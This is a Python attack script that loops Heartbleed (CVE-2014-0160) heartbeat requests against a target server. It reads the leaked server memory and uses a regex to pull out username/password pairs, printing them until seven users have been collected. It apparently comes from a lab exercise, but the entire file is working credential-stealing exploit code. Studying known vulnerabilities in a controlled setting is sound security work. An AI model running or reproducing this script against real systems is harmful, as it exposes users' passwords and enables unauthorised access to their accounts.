exploit-loop.py

#!/usr/bin/env python
from __future__ import annotations

import json
import re
import sys
import time
from urllib.parse import unquote_plus
from optparse import OptionParser
import exploit

STOP_AFTER_N_USERS = 7

options = OptionParser(usage='%prog server [options]',
                       description='exploit SSL heartbeat vulnerability (CVE-2014-0160) and save sensible data')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to direct traffic to (default: 443)')
options.add_option('-d', '--delay', type='int', default=0, help='delay between requests in seconds')


def try_extract(buf: bytes) -> dict[str, str] | None:
    res = re.findall(b'username=[ -~]+&password=[ -~]+', buf)
    if res is None:
        return None
    res = [unquote_plus(r.decode('ascii')) for r in res]
    res = [{r.split('&')[0].split('=')[1]: r.split('&')[1].split('=')[1]} for r in res]
    res_dict = {}
    for r in res:
        res_dict |= r
    return res_dict


def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
    recovered_users = {}
    while 1:
        s = exploit.init_exploit(opts, args)
        # print('Sending heartbeat request...')
        sys.stdout.flush()

        s.send(exploit.heartbleedPacket)

        # We asked for 64 kB, so we should get 4 packets
        contentType, version, payload = exploit.receiveTLSMessage(s, 4)
        new_users = try_extract(payload)
        # print(f'We found {0 if new_users is None else len(new_users)} username/password combination!')
        if new_users is not None:
            recovered_users |= new_users
        print(json.dumps(recovered_users, indent=4))
        if len(recovered_users) == STOP_AFTER_N_USERS:
            print(f'We have recovered {STOP_AFTER_N_USERS} users. STOP!')
            exit()
        s.close()
        time.sleep(opts.delay)


if __name__ == '__main__':
    main()